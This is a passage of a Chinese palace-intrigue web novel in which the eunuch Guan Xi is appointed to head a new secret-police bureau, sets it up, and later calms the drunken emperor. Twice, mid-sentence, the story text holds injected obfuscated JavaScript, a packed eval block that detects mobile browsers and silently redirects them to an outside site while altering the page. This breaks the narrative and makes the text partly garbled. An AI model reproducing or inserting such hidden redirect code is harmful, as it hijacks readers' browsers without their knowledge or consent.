一场风波,看似被轻描淡写地按下。可殿中所有人都明白,有些东西,已经不一样了。皇帝用一个太监,在朝堂上当众核对了部院的账目数字,象征意义非同小可。这意味着皇帝手中,有了一套独立于部院体系之外高效精准的信息核对渠道,而这渠道的代言人,此刻就站在御座之旁。 接下来的朝议,气氛愈发诡异。奏事者言辞更加谨慎,生怕被皇帝随口问出什么细节,而那个安静的太监,会不会又从记忆里翻出什么要命的数字。关禧的存在,像一根无形的刺,扎在许多人的心里。 终于,冗长的朝议接近尾声。鸿胪寺官员正要宣布退朝,萧衍再次开口。 “朕还有一事。” “近年来,京畿治安,颇有些令人忧心之处。市井流言蜗蜚,奸宄之徒潜藏,甚至宫禁内外,亦时有不合规矩之事发生。朕居深宫,耳目或有不及。外朝有都察院、刑部、五城兵马司,各司其职。然内廷乃朕起居理政之所,宫禁安全,内官言行,亦需严加整肃,防微杜渐。” 他顿了顿,在斟酌词句:“为肃清宫闱,稽查不法,通达消息,以补外朝耳目之不及,朕决意,于内官监之下,增设内缉事厂。” “内缉事厂”四字一出,如惊雷炸响,虽未直言东厂,但这名目,这职能描述,与传闻中那些令人闻风丧胆的宦官特务机构何其相似。 文官队列中瞬间骚动起来,就连一直眼观鼻鼻观心的勋贵们,也纷纷抬起了头,面露惊疑。柳文正眉头紧锁,郑保脸上的雍容笑意彻底消失,握着笔杆的手指关节泛白。周如意更是脸色骤变,死死盯住御座上的皇帝。 萧衍仿佛没有看到下方的反应,继续用那种平稳的语气说道:“此厂专司探查内廷二十四衙门及皇城各门禁、库房人等是否有作奸犯科、违禁悖逆之举;访查京师内外关于宫禁、朝政之流言蜚语,辨其真伪;遇有特殊情事,亦可奉朕密旨,协查外朝相关案件。一应侦缉所得,直奏于朕,不得经由他手。” 他目光转向身侧:“关禧。” “奴才在。” “你办事勤谨,心思缜密,记性尤佳。即日起,擢你为内官监掌印太监,暂掌内缉事厂提督太监之职。朕会拨给你一批人手,一应用度,从内帑支取。厂址暂设于东安门内北侧旧库房。给你十日,将架子搭起来,先把宫内的规矩给朕立一立,眼睛给朕擦亮些。” 旨意既下,再无转圜。 关禧压下心头翻涌的惊涛骇浪,撩袍跪倒,深深叩首:“奴才关禧,领旨谢恩!定当竭尽驽钝,为陛下肃清宫闱,稽查奸宄,不负圣恩!” 声音在寂静的金銮殿内回荡。 丹墀之下,一片死寂。百官脸上血色褪尽。司礼监众人面沉如水,郑保缓缓搁下了笔,闭上眼睛。周如意眼中几乎要喷出火来,却只能死死咬着牙。 柳文正深吸一口气,出列欲言:“陛下!此事……” “退朝。” 萧衍不等他说完,已霍然起身,玄黑衮服划开一道凌厉的弧度,转身向内殿走去,留下满朝文武僵立原地。 关禧迅速起身,垂首,紧紧跟上。 70.第 71 章 萧衍走得极快,玄黑衮服的下摆在光滑的金砖地面上拂过,带起一阵沉肃的风。 关禧垂首紧跟在后,保持着半步之遥的距离。 一直走到乾元殿范围,周围侍立的太监宫女跪伏,萧衍的脚步才略缓了些,丢下一句: “孙得禄,带他去领印信袍服,安置人手。十日后,朕要看到厂的样子。” 侍立在不远处阴影里的孙得禄趋步上前,躬身应道:“奴才遵旨。” 萧衍不再停留,径直走向寝殿方向,背影很快消失在层层殿宇的阴影中。 孙得禄抬起头,目光与关禧短暂相接,随即自然而然地改了口:“关提督,请随咱家来。” “有劳孙公公。”关禧颔首。 孙得禄引着他,朝着乾元殿东侧更深处,一片相对独立僻静的殿宇群落走去。沿途遇到的太监宫女,无论品阶高低,远远看见他们,便立刻停下脚步,垂首肃立,待他们走过,才敢悄悄抬眼,目光敬畏地追随着关禧身上那身还未更换的靛蓝云纹随堂太监服,从此刻起,这身衣服所代表的品阶,已远远配不上他的新身份了。 穿过一道月亮门,眼前是一座不大的独立院落,青砖灰瓦,比起乾元殿主殿的恢弘,显得朴素许多,也清静异常。院中一棵老槐树落光了叶子,枝干虬结,指向冬日高远的天空。正房三间,左右各有厢房,廊下挂着鸟笼,里面空着,寒风吹过,发出轻微的呜咽。 “此处原是前朝一位太妃静养之所,陛下登基后一直空置。”孙得禄推开正房的门,一股陈年木料的气味扑面而来,屋内显然已被匆忙打扫过,家具虽旧,却擦拭得干净,地上铺着深色的绒毯,窗明几净。 “陛下口谕,暂做提督在乾元殿内的居停及……视事之所。一应用度,稍后会由内务府另行配给。” 关禧步入房中。 正中是厅堂,摆放着紫檀木的桌椅,墙上挂着几幅意境萧疏的水墨山水。东边是书房,书架空空,一张宽大的书案临窗放置,案上已备好了笔墨纸砚,皆是上品。西边是寝卧,垂着素色帐幔,床榻被褥崭新厚实。比起之前那间厢房,此处不仅宽敞,更透着一股属于官邸的威仪。 “督主请稍坐,咱家这就去取印信和袍服。”孙得禄躬身退出,带上了门。 厅堂内只剩下关禧一人。他走到窗边,推开一扇支摘窗,冷风灌入,吹散了屋内的陈旧气息,也让他翻涌的心绪渐渐沉淀下来。窗外正对着那株老槐,枝干嶙峋,几只寒鸦栖息其上,偶尔发出沙哑的啼叫。 掌印太监,提督内缉事厂。 这一步,迈得太大,也太险。皇帝将他从暗处的刀,直接推到了明处的靶心。司礼监,太后,前朝清流,后宫嫔妃……所有或明或暗的势力,必然都已将目光死死锁定在他身上。这间看似清静的院落,恐怕从此刻起,便再无宁日。 但他没有退路。从他选择将那簪子和票根呈给皇帝,从他那夜在御花园假山洞与楚玉交换那个眼神起,他就已经踏上了这条只能向前的路。 约莫一炷香后,孙得禄去而复返,身后跟着两名低眉顺眼的小太监,每人手中捧着一个朱漆托盘。 一个托盘上,放着一方银印,印纽是简洁的螭虎,印面阴刻篆文“内官监掌印太监关”,旁边还有一枚略小的铜印,刻着“提督内缉事厂”。印信之下,压着一本崭新的空白簿册,封面写着“缉事档”三字,笔迹工整。 另一个托盘上,整齐叠放着一套衣裳。 大红的云缎为底,色泽鲜艳夺目,在领口,袖缘,衣摆处用更深的绛丝绣着繁复的蟒纹。蟒形矫健,张牙舞爪,虽无龙之五爪,却已威仪毕现。这不是赏赐的礼服,而是职司袍服,代表着内官监掌印太监的品级与权柄。旁边还有一顶黑色的纱帽,帽侧插着一支象征着提督身份的金色帽簪。 关禧的目光在那绯色蟒袍上停留了片刻。红色,如此刺目,如此张扬,与他之前惯穿的靛青,鸦青,玄青截然不同,像一团燃烧的火,也像一道昭示权力的符咒。 “督主,请更衣吧。”孙得禄示意那两个小太监将托盘放在桌上,自己垂手退到一旁。 关禧没说什么,走到寝卧内。两名小太监训练有素地跟进来,帮他褪去身上那件靛蓝随堂太监服,换上内衬的白色中衣,然后,抖开了那件绯色蟒袍。 织物落在肩头,带着丝绸特有的冰凉顺滑,以及新衣浆洗后淡淡的皂角清气。小太监细致地为他系好腋下的丝绦,抚平肩背每一处可能存在的褶皱,调整袖口的长度,让那精致的蟒纹恰好露出指尖一寸。然后是腰间的玉带,镶着暗色的墨玉,扣紧时发出轻微的“咔哒”声,沉甸甸地压在腰间,象征着束缚,也象征着权势。 最后,戴上那顶黑色纱帽,金色的帽簪插入发髻固定。 两名小太监退后一步,深深低下头。 关禧走到寝卧角落那面半人高的铜镜前。镜面清晰地映出一个身影。 一身绯红似火,蟒纹狰狞,衬得镜中人肤色愈发冷白如玉,挺直的鼻梁,微抿的嫣红嘴唇,最引人注目的是那双凤眼,微微上挑的眼尾在鲜艳衣袍的映衬下,少了几分往日的清冷疏离,多了几分难以言喻的凌厉与……妖异。黑色的纱帽压住乌发,金色的簪尖一点寒芒,与衣袍上的蟒纹暗光呼应。 这不再是那个低眉顺眼,隐在御案旁研墨的俊秀太监,也不再是那个在风雪夜中独行探查的孤影。这是内官监掌印,提督内缉事厂的关禧关公公。一个即将手握侦缉刑讯之权,令人望而生畏的新贵。 “提督,”孙得禄的声音在门外响起,“陛下拨给厂里的人手,已在院外候着了。” 关禧最后看了一眼镜中那团刺目的绯红,转身,走向门口。厚重的门扉被拉开,冬日的阳光涌进来,有些刺眼。他眯了一下眼,适应光线,然后迈步走了出去。 院中,老槐树下,已黑压压跪了一片。 大约有二三十人,皆是太监打扮,服色从灰蓝到靛青不等,品阶显然不高。他们整齐地跪在那里,额头触地,屏息凝神,连大气都不敢喘。寒风吹过,卷起他们单薄的衣角,无人敢动分毫。 关禧站在廊下台阶之上,目光扫过这一片低伏的脊背,绯红的袍角在风中拂动。 这些人,就是皇帝拨给他的第一批人手。来自哪里?二十四衙门底层?罪奴司?还是某些被清洗宫苑的残余?必然成分复杂,各有背景,甚至不乏各方势力安插进来的耳目。 皇帝给他这摊子人,既是支持,也是考验。 孙得禄侧立一旁,低声道:“按陛下旨意,从内官监、司设监、兵仗局等处抽调了二十八人,皆身家清白……呃,相对清白,且略识得几个字,手脚也算勤快。另外,陛下特意吩咐,将原御马监的一名执事太监也拨了过来,此人曾在内书堂读过几年书,通些文墨,或许可用。” 关禧目光落在跪在最前排的一个人身上。那人穿着靛青色首领太监服,在这群人中品阶最高,背脊挺得比别人直些。 “你,”关禧开口,声音不高,“抬起头来。” 那人身形一震,抬起头。是一张三十岁上下的脸,面容普通,肤色微黑,正是孙得禄提到的原御马监执事。 “奴才何璋,叩见督主。” “何璋。”关禧重复了一遍这个名字,“从今日起,你便是内缉事厂的掌班。这些人,暂时由你统带。” 何璋眼中闪过明显的错愕,立刻重重叩首:“奴才谢督主提拔!定当尽心竭力,效忠督主!” 关禧不再看他,目光扫向其余众人:“都起来吧。” “谢督主!”众人齐声应道,声音参差不齐,带着惶恐,纷纷站起身,垂着头,不敢直视。 “本督奉旨提督内缉事厂,稽查宫闱,通达消息。尔等既入此门,过往种种,皆可不论。从今往后,唯有一条需谨记。忠陛下之事,守厂内之规。眼要亮,耳要聪,嘴要紧,手要稳。有功则赏,有过则罚,私通外泄、徇情枉法者,厂规不容,本督……亦不容。” 关禧顿了顿,绯红的身影在冬日惨淡的阳光下,竟有种灼人的威势:“十日内,整肃旧库,立起规矩。该做什么,何掌班会交代你们。现在,先去东安门内北侧旧库房,清理场地,一应所需,报由何掌班具条陈上来。” “是!谨遵督主谕令!”何璋率先躬身应道,其他人连忙跟着附和。 关禧不再多言,挥了挥手。何璋会意,立刻转身,低声催促着那一群还有些懵懂的太监,朝着院外走去。人群迅速移动,像一股暗流,涌向那座即将成为皇城权力新阴影源头的旧库房。 院子里重新恢复了寂静,只剩下关禧、孙得禄,以及远远候着的双喜和贵平。 孙得禄脸上堆起笑容:“提督雷厉风行,咱家佩服。这印信、袍服既已送到,人手也已交接,咱家便先行告退了。提督若有任何需要,随时吩咐。” “有劳孙公公。”关禧颔首。 孙得禄躬身退走,步履比来时轻快了些。 关禧独自站在廊下,望着那株老槐光秃秃的枝干。 他抬手,指尖拂过袖口冰凉的蟒纹刺绣,眼神深不见底。 “双喜,贵平。” 一直缩在角落里的两个小太监立刻小跑上前,扑通跪下,声音发颤:“督主。” “起来。”关禧转身,走回厅堂,“准备纸笔。另外,去打听一下,旧库房那边历年堆积的都是什么,周边环境如何,近日可有异动。小心些,别让人察觉。” 双喜和贵平领命而去,一个去取纸笔,一个则像受惊的小兽般溜出院落,去打听消息。 关禧走到书案后坐下。紫檀木的质地坚硬冰凉,透过衣料传来。那身绯红的蟒袍坠在肩头,鲜艳得刺眼,也陌生得令人心悸。 思绪尚未完全沉淀,双喜已捧着纸笔匆匆回来,砚台注水,研墨。他动作有些慌乱,眼神时不时瞟过关禧身上那袭从未见过的绯红与狰狞蟒纹,又飞快地移开。 关禧没理会他的不安,提笔蘸墨,在雪白的宣纸上落下第一个字:规。 笔尖悬停,他需要整理,更需要确立。 皇帝给了他十天,但真正的较量,从此刻就已开始。他必须快,必须稳,必须在这十天里,让这个凭空而生的内缉事厂,至少看起来像那么回事,并且,牢牢握在自己手中。 贵平回来得比预想中快,脸色有些发白,凑到关禧耳边,声音压得极低:“督主,打听过了。东安门内北侧那片旧库房,占地不小,连着五六个大仓廒,早年是存些淘汰下来的宫灯、旧毡毯、损坏家具物什的,这些年用得少,荒了大半,积灰很厚。位置……倒是僻静,靠宫墙根,离北苑杂役处不远。最近没什么异动,就是前两日有内官监的人过去粗粗打扫了一遍外围,像是……像是提前得了信儿。” 关禧眼中闪过一丝了然。皇帝早有准备。那片地方,僻静独立,规模够大,靠近宫墙或许还别有用途,确实是个设立厂卫的好地方。提前打扫,既是方便他接手,恐怕也是某种审视,看他关禧有没有本事在既定框架里,玩出花样来。 “知道了。”关禧点头,示意贵平退到一旁,继续在纸上书写,列出需要优先处理的事项:人员名册核实,旧库房功能区划分,初期侦缉重点,联络渠道,内部规章…… 笔尖沙沙,思绪飞转。二十八个人,成分复杂,背景不明。那个何璋,是皇帝特意点出通文墨的,放在首位,是用,也是试探。必须先摸清底细,至少是表面上的底细,迅速分辨出哪些可能暂且一用,哪些需要严防,哪些……或许可以发展成为最初的班底。 他写的不是什么锦绣文章,是条理分明的条款和要点,字迹是标准的馆阁体,因用力而透着一股冷硬的筋骨。 时间在寂静中流逝,只有更漏滴滴答答,和窗外偶尔呼啸而过的北风。 天色将晚,院外传来略显急促的脚步声。何璋去而复返,独自一人,站在门外躬身道:“督主,奴才何璋复命。” “进来。” 何璋推门而入,身上那件靛青首领太监服沾了些灰尘,他快步走到书案前,再次行礼:“禀督主,东安门北旧库房已初步清理出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118916|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最大的一间仓廒已腾空,略加布置,可供二三十人夜间歇宿,虽简陋,但御寒无虞。旁边两间稍小的,奴才斗胆,规划为一间用作档房、文书处置,一间暂作值房、议事之用。所需床板、铺盖、桌椅、灯烛、炭火等一应物品清单,奴才已粗略拟就,请督主过目。”说着,双手奉上一张写得密密麻麻的纸。 关禧接过,扫了一眼。清单列得详细,甚至估算了大概耗费,字迹端正,确实通些文墨。更重要的是,这效率。半日功夫,在人生地不熟,人手初聚的情况下,能清理出可住可用的场地,并拿出这样一份清单,无论何璋是能力使然,还是背后有人指点推动,都至少说明,这是个能办事,懂分寸的。 “效率不错。”关禧将清单放在一旁,抬眼看向何璋,“牌子呢?” 何璋一愣,随即脸上露出一丝谄媚的笑容:“督主明鉴。奴才想着,既已清理出门脸,厂卫设立乃陛下钦命,不可无牌匾昭示。便斗胆,请了内官监一位擅书的老先生,写了内缉事厂四个大字,临时找了块旧木板刻了,已经挂上去了。简陋了些,待日后……” “无妨。”关禧打断他,站起身,“带本督去看看。” “是!督主请!”何璋连忙侧身引路。 关禧带着双喜和贵平,跟着何璋,穿过渐渐暗下来的宫道,朝着皇宫东北角走去。越走越僻静,宫灯稀疏,寒风凛冽。沿途偶遇的巡夜侍卫或低阶太监,远远看见这一行四人,尤其是走在前面那团在暮色中依然醒目得近乎妖异的绯红,无不骇然变色,慌忙退避躬身,大气不敢出。 东安门内北侧,果然是一片荒僻之地。高大的宫墙投下浓重的阴影,几排低矮敦实的库房黑黢黢地伏在墙根下。其中一间库房门前,挑着两盏新挂的气死风灯,昏黄的光晕照亮了门口。 一块崭新的,白底黑字的木牌,赫然挂在门侧。 “内缉事厂”。 四个颜体大字,筋骨嶙峋,力透木背,在灯光下泛着冷硬的光泽。虽说是临时赶制,却自有一股森严气度透出。 关禧在牌子前站定,仰头看了一眼。就是这里了。他未来很长一段时间,或许乃至一生,都将与之紧密捆绑的地方。 何璋推开厚重的木门,里面灯火通明。 最大的仓廒已被清理出来,地面扫得干干净净,墙角堆着新领来的被褥铺盖,虽然只是大通铺的架势,但在这短短时间内能做到这一步,已属不易。旁边两间屋子也按他所说布置起来,档房里摆了两张旧书案和几个空书架,值房里则是简单的桌椅。 那二十多个太监都聚集在最大的仓廒里,垂手肃立,鸦雀无声。见关禧进来,所有人齐刷刷跪下:“叩见督主!” 声音在空旷的仓廒里回荡,带着紧张的颤音。 关禧走到仓廒中间,站定。绯红蟒袍在众多灰蓝,靛青的服饰中,如同鹤立鸡群,也如同滴入静水的一滴浓血。 他没有立刻叫起,目光缓缓扫过每一张低伏的脸,似乎在努力记住某些特征,又像是在施加无形的压力。空气凝滞得几乎要滴出水来,只有灯花偶尔爆开的轻微噼啪声。 良久,关禧才开口: “都起来吧。” “谢督主!”众人窸窸窣窣地起身,依旧垂着头。 “地方收拾得不错,牌子也挂上了。”关禧的语气听不出喜怒,“这说明,你们有手有脚,也能办事。” 他停顿了一下,话锋陡然转冷:“但本督要提醒你们,也提醒我自己。从踏进这道门,挂上这块牌子起,我们的脑袋,就别在裤腰带上了。办的是陛下交办的机密差事,查的是宫闱内外的阴私鬼蜮。看得见的是荣华富贵,看不见的是刀山油锅。” “在这里,第一条规矩,也是死规矩。嘴巴要紧,耳朵要灵,眼睛要毒,心思要静。该看的看,不该看的,挖了眼睛也别看;该听的听,不该听的,割了耳朵也别听;该说的说,不该说的,烂在肚子里,带进棺材里。” “陛下设此厂,是要耳目,要刀锋,不是要搬弄是非的长舌妇,也不是要首鼠两端的墙头草。若有人觉得,来了这里,是得了钻营的门路,可以脚踩几只船,或者想着给外面的哪位主子递个消息、卖个好……” 他冷笑一声,那笑声在空旷的仓库里显得格外渗人:“趁早熄了这心思。本督既能站在这里,就能让那些不该有的心思,连人带根,一起烂掉。厂规不容情,本督……更不容情。听明白了吗?” 最后一句话,如重锤砸下。 所有太监浑身一颤,齐声应道:“奴才明白!谨遵督主教诲!”声音比刚才整齐了许多,也多了几分真实的恐惧。 何璋站在人群前列,头垂得更低。 关禧将众人的反应尽收眼底,知道这番敲打暂时起了作用,他缓了缓语气:“明白就好。从明日开始,一切按规矩来。何掌班。” “奴才在!”何璋立刻上前一步。 “你拟的那份清单,本督准了。尽快将所需物品领齐,安顿下来。另外,明日一早,所有人集合,本督要训话,立规矩。” “是!” “都散了吧,各自安顿。”关禧挥了挥手,不再看他们,转身走出了仓廒。 夜风扑面,他抬头望了望漆黑的夜空,几颗寒星疏淡。 回到乾元殿内那处新拨的院落,双喜和贵平早已备好了热水和简单的晚膳。关禧脱下那身绯红蟒袍,换上一件轻便的深青色常服。 用过晚膳,他回到书房。 双喜已经按照吩咐,找来了厚厚几大本《宫中则例》,《内监规条》以及历年有关宫人惩戒的案例汇编,堆在书案一角。 关禧铺开一张新的宣纸,提笔沉吟。 内缉事厂的规矩,绝不能仅仅是旧宫规的翻版。它需要更严苛的保密条例,更高效的运转流程,更冷酷的监察机制,以及……更直接只对皇帝和他这个提督负责的忠诚灌输。 他开始动笔,结合脑中那些来自另一个时代关于组织和纪律的模糊认知,以及这些时日对宫廷规则的深切体会,一条条,一款款地草拟。 71.第 72 章 窗外,冬夜正长。 关禧笔下那条关于密报直呈程序的细则刚写到一半,狼毫尖端饱满的墨汁将落未落,门外忽然传来一阵急促的脚步声,伴随着难掩焦急的交谈,打破了院落寂静。 笔尖一顿,一滴墨终究还是落在了“呈”字最后一横的末端,泅开一小团突兀的污迹。关禧眉头蹙起,搁下笔,抬眼望向书房门的方向。 几乎是同时,双喜连滚带爬地冲了进来,脸色煞白,声音都变了调:“督、督主!孙、孙副总管来了!带着人,就在院门外,说是……说是陛下急召!” 急召?这个时辰? 关禧心中警铃大作。他迅速扫了一眼更漏,亥时三刻,宫门早已下钥,若无惊天大事,绝无可能此时召见外臣,即便是他这等内侍近臣,也极为罕见。且是孙得禄亲自带人来…… 他起身,迅速合拢桌上摊开的规章草稿,压在一本厚重的《永昌会典》之下,又顺手将沾了墨污的那页纸团起,丢进脚边的炭盆。橘红的火苗倏地蹿起,将纸团吞噬,化作一小撮蜷曲的灰烬。 做完这些,他才整理了一下身上那件深青色常服,举步向门外走去。 院门洞开,寒风毫无阻碍地灌入。孙得禄站在门外,身后跟着两名乾元殿御前侍卫打扮的魁梧汉子,俱是面色沉凝。孙得禄自己则裹着一件厚重的玄色斗篷,帽檐下一张脸在廊下摇晃的宫灯映照下,竟透着几分罕见的焦虑,全无平日滴水不漏的圆滑模样。 “孙公公。”关禧站定,目光扫过三人。 “关提督!”孙得禄上前一步,也顾不得寒暄,声音又急又低,“快,随咱家走一趟!陛下……陛下要见你!” “陛下此刻在何处?因何急召?”关禧脚下未动,语气平稳地问。 孙得禄脸上的肌肉抽动了一下,左右看了一眼,凑得更近,重重叹了口气,眼底是掩饰不住的惊惧,“在寝殿……今日午后,陛下去了永寿宫,与太后娘娘……唉!不知为何事,争执了起来,动静不小,连外头伺候的都听见摔了茶盏……陛下从永寿宫出来时,脸色难看得吓人,回到乾元殿就把自己关在寝殿,晚膳也没用,只让人送酒进去……这都喝了快两个时辰了,谁劝都不听,还、还砸了东西……” 他抓住关禧的袖子,力道大得惊人:“关提督,陛下平日对你……还算看重。如今这光景,咱们做奴才的实在是没法子了!你好歹去劝一劝,哪怕能让陛下歇下,也是好的!万一、万一龙体有损,咱们谁都担待不起啊!” 皇帝与太后大吵,独自酗酒,拒绝近侍……这消息任何一个传出去,都是足以震动朝野的宫闱秘闻。孙得禄来找他,与其说是相信他能劝住皇帝,不如说是在这突如其来的危机和帝后冲突的压力下,病急乱投医,抓住任何一根可能缓解局面的稻草。而他关禧,既是新晋的宠臣,又与太后那边有过节,被推出去,成了最合适不过的缓冲。 风险极高。盛怒且醉酒的帝王,心思莫测,一句话不对,就可能引火烧身。但同样,危机往往伴随着机遇。若能在这种时刻接近皇帝,甚至获得一丝信任或倚重…… “孙公公稍候,容我更衣。” 关禧转身回屋,迅速从衣柜中取出一件毫无纹饰的玄色夹棉长袍换上,又将头发重新束紧,确保一丝不乱,他需要显得干净利落,毫无攻击性。 走出房门,他对双喜和贵平丢下一句“守好院子,任何人不得擅入”,便对孙得禄道:“走吧。” 一行人疾行在深夜的宫道上。寒风如刀,刮过脸颊生疼。沿途侍卫远远看见孙得禄和那身御前侍卫服色,纷纷避让。 越是靠近乾元殿寝宫区域,气氛越发凝滞。廊下的宫灯似乎都比别处黯淡几分,当值的太监宫女个个屏息垂首,面色惶惶。 寝殿外,明黄色的帷幔低垂,里面透出明亮的烛光,一些晃动的人影投射在窗纱上。隐约能听见瓷器碎裂的清脆声响,以及属于帝王的粗重喘息和含糊的咒骂。几名高阶宫女和太监跪在殿门外不远处,以头触地,瑟瑟发抖。 孙得禄在殿阶下停住脚步,擦了擦额角的冷汗,对关禧低声道:“提督,陛下就在里面……咱家、咱家就不进去了,在外头候着。”他将“候着”二字说得极重,眼中满是恳求。 关禧看了他一眼,没说什么,独自迈步上前。 跪伏的宫人听到脚步声,微微抬头,见是关禧,眼中闪过诧异,旋即又深深埋下头去。 关禧在紧闭的殿门前站定,深吸一口气,抬手,叩了叩门环。 里面瓷器碎裂的声音骤然一停。 随即,是萧衍暴躁的吼声,隔着厚重的门板传来:“滚!都给朕滚出去!谁再敢进来,朕扒了他的皮!” 关禧的手停在半空,静默了一息,然后,用一种不高不低,清晰平稳的语调开口: “陛下,奴才关禧,奉旨觐见。” 门内霎时一片死寂。 跪伏的宫人们头埋得更低,孙得禄在不远处攥紧了拳头。 不知过了多久,也许只有几个呼吸,也许漫长如一个世纪。 “吱呀——” 殿门,从里面被拉开了一道缝隙。 浓烈的酒气混合着龙涎香残留的馥郁,扑面而来。 开门的是个面无人色的小太监,看见关禧,像是见了救星,嘴唇哆嗦着,让开了身子。 关禧抬步,跨过了那道门槛。 殿内景象,饶是他有所准备,心头仍是一凛。 地上狼藉一片。碎裂的瓷片,翻倒的酒壶,倾倒的案几,扯落的帐幔……烛台倒是点了许多,将室内照得亮如白昼,也照亮了御榻上那个身影。 萧衍只穿着一身皱巴巴的明黄寝衣,赤着脚,披散着头发,坐在榻沿。他一手还攥着一个半空的玉壶,另一只手撑在膝上,佝偻着背。听到脚步声,他抬起了头。 烛光下,年轻帝王的脸上泛着不正常的潮红,眼白布满血丝,眼神涣散,眉宇间凝着一股化不开的暴戾,那张平日威严的脸,此刻被酒精和怒气扭曲,竟显出几分狰狞。 他看着关禧,涣散的目光渐渐聚焦,似在辨认,随即,嘴角扯出一个讥诮的弧度。 “关禧?呵……朕的关提督……你来干什么?来看朕的笑话?还是……永寿宫那位,让你来看看,她儿子有多不中用?有多……窝囊?!” 最后两个字,是咆哮而出,同时手中的玉壶被他狠狠掼在地上,“砰”地一声巨响,碎片和残酒四溅。 关禧站在原地,脸上没有任何惧色,也没有讨好或劝慰的表情,只是在那声咆哮过后,撩袍跪了下来。 “奴才不敢。奴才只是奉召而来。陛下若有差遣,奴才万死不辞;陛下若无吩咐,奴才便在此跪候,直至陛下息怒安寝。” 他没有问陛下为何动怒,也没有说陛下保重龙体,更不去接永寿宫那个危险的话头,只是陈述自己奉召而来,表明听候差遣的姿态。 这种出乎意料的平静和漠然的顺从,让盛怒中的萧衍怔了一下。他死死盯着跪在狼藉中,背脊挺直,垂眸敛目的关禧,胸口剧烈起伏,喘着粗气。 “差遣?哈……朕能有什么差遣?”萧衍摇摇晃晃地站起身,踉跄着走到关禧面前,阴影笼罩下来,“朕连自己宫里想用个人,想办件事,都做不了主!前朝是他们的,后宫也是他们的!朕算什么皇帝?朕就是个摆在御座上的傀儡!木偶!” 他俯身,带着酒气的呼吸喷在关禧头顶:“你告诉朕,关禧,你这个提督,能替朕做什么?嗯?你能把那些趴在朕身上吸血的老狐狸都抓起来吗?你能让永寿宫……让朕那位好母后,不再把手伸到朕的眼前、耳边、甚至榻边吗?!” 每一个字都浸满了无力感和被至亲控制的痛楚,这或许是醉话,更是压抑太久,终于崩溃边缘的真言。 关禧跪得笔直,等萧衍说完,他才抬起眼,迎上皇帝充血狂乱的眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121828|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “陛下是天子。陛下若要奴才去抓,奴才便去查;陛下若要奴才去拦,奴才便去挡。内缉事厂是陛下手中的刀,刀锋指向何处,奴才便斩向何处。纵是刀折人亡,亦是奴才本分。” 他顿了顿,在萧衍死死盯视的目光中,继续道:“然陛下此刻醉中,心神激荡,所言所怒,或非本意。陛下若信得过奴才,不若暂息雷霆,保重圣体。待明日酒醒,无论陛下欲斩何方奸佞,肃清何路阴霾,奴才……必为陛下前驱,死不旋踵。” 他没有劝皇帝别生气,也没有妄议太后与前朝,而是将选择权交回皇帝手中,同时强调此刻醉中,所言或非本意,给皇帝一个台阶,也给自己留了余地。最后那句“待明日酒醒……必为陛下前驱”,既是表忠,也是一种暗示,清醒时下的命令,他才敢真正去执行。 萧衍盯着他,目光锐利如刀,想从他平静的面容下,挖出哪怕一丝一毫的虚伪或动摇。但关禧就那么跪着,眼神坦荡,姿态恭谨,也带着一种不易折的韧性。 良久,萧衍眼中狂乱的暴戾渐渐褪去一些,踉跄着后退两步,跌坐回榻沿,用手捂住脸,肩膀颤抖起来。 殿内只剩下他粗重压抑的呼吸声。 关禧跪着,一动不动。 不知过了多久,萧衍放下手,脸上的潮红退去些,露出底下的苍白。他看了一眼满地狼藉,又看了一眼跪在狼藉中衣袍下摆已沾湿的关禧,哑声开口: “……起来。” “谢陛下。”关禧依言起身,垂手肃立。 “收拾了。”萧衍挥了挥手,声音疲惫不堪。 关禧没有唤门外跪着的宫人,自己动手。他先小心地将较大的瓷片捡起,放在一旁,又寻来簸箕和扫帚,将细小的碎片和污渍清理干净,动作沉稳有序,他甚至找出干净的布巾,将溅上酒液的御榻边缘擦拭了一遍。 萧衍看着他忙碌,眼神晦暗不明。 待一切大致恢复整洁,关禧才停下,躬身道:“陛下,夜已深,可要安置?” 萧衍没回答,目光落在窗外沉沉的夜色上,半晌,才极轻地问了一句,像是自语: “关禧,你说……朕是不是很失败?” 关禧心头微震。这个问题,比方才所有的咆哮怒吼都更危险。他沉吟片刻,谨慎答道:“陛下登基五载,平定边患,整顿吏治,天下承平,百姓渐安,此乃有目共睹之功业。陛下乃励精图治之君,何言失败?” “励精图治?”萧衍嗤笑一声,“朕连自己的母亲都……罢了。”他显然不想再深谈这个话题,转而道,“你方才说,内缉事厂是朕的刀?” “是。” “那你这把刀,磨得如何了?”萧衍的目光转回来,落在关禧身上。 “十日之期未到,奴才不敢妄言已磨锋利。然框架已立,规矩初成,人手已动。”关禧答道,“奴才必竭尽全力,为陛下磨出一把趁手、听话、且……只认陛下一人的刀。” “只认朕一人……”萧衍重复着,眼底深处有什么东西亮了一下,又迅速湮灭在更深的疲惫里,“好,朕记着了。你退下吧。” “是。陛下早些安歇,奴才告退。”关禧躬身,一步步退出寝殿,反手带上了门。 门扉合拢。 廊下,孙得禄立刻迎了上来,脸上惊魂未定,压低声音急问:“提督,陛下他……” “陛下已平静些,想来不久便会安置。”关禧语气平淡,“孙公公可吩咐人准备些醒酒汤和安神茶,待陛下传唤。” 孙得禄长长松了口气,看着关禧的眼神复杂难言,既有感激,也有更深层的忌惮:“有劳提督了!咱家这就去办!” 